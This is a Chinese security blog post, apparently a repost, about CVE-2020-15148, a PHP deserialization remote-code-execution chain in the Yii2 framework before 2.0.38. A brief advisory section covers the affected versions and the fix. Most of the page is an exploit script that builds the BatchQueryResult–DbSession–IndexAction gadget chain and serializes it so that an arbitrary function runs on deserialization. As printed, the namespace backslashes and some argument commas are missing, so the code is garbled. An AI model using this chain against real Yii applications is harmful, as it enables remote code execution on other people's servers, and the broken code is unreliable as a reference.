CVE-2020-15148 Yii框架反序列化RCE利用链 exp

admin 2020年9月18日23:23:25评论1,652 views字数 1385阅读4分37秒阅读模式

简介

如果在使用yii框架,并且在用户可以控制的输入处调用了unserialize()并允许特殊字符的情况下,会受到反序列化远程命令命令执行漏洞攻击。

该漏洞只是php 反序列化的执行链,必须要配合unserialize函数才可以达到任意代码执行的危害。

该反序列化执行链在今年8月初已经公开,建议使用yii框架的同学排查

影响范围

Yii2 <2.0.38

修复方案

CVE-2020-15148 Yii框架反序列化RCE利用链 exp

目前官方已经禁止BatchQueryResult类被反序列化

exp


<?php
namespace yiirest {
    class Action extends yiibaseAction
    {
        public $checkAccess;
    }
    class IndexAction extends Action
    {
        public function __construct($func$param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yiiweb {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func$param)
        {
            $this->writeCallback = [new yiirestIndexAction($func$param), "run"];
        }
    }
}
namespace yiibase {
    class BaseObject
    {
        //
    }
    class Action
    {
        public $id;
    }
}
namespace yiidb {
    use yiibaseBaseObject;
    class BatchQueryResult extends BaseObject
    {
        private $_dataReader;
        public function __construct($func$param)
        {
            $this->_dataReader = new yiiwebDbSession($func$param);
        }
    }
}
$exp = new yiidbBatchQueryResult($func$param);
print(serialize($exp));


参考

  1. https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99
  2. https://xz.aliyun.com/t/8082#toc-8
  3. https://github.com/AFKL-CUIT/phpggc/



  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月18日23:23:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-15148 Yii框架反序列化RCE利用链 exphttp://cn-sec.com/archives/137410.html

发表评论

匿名网友 填写信息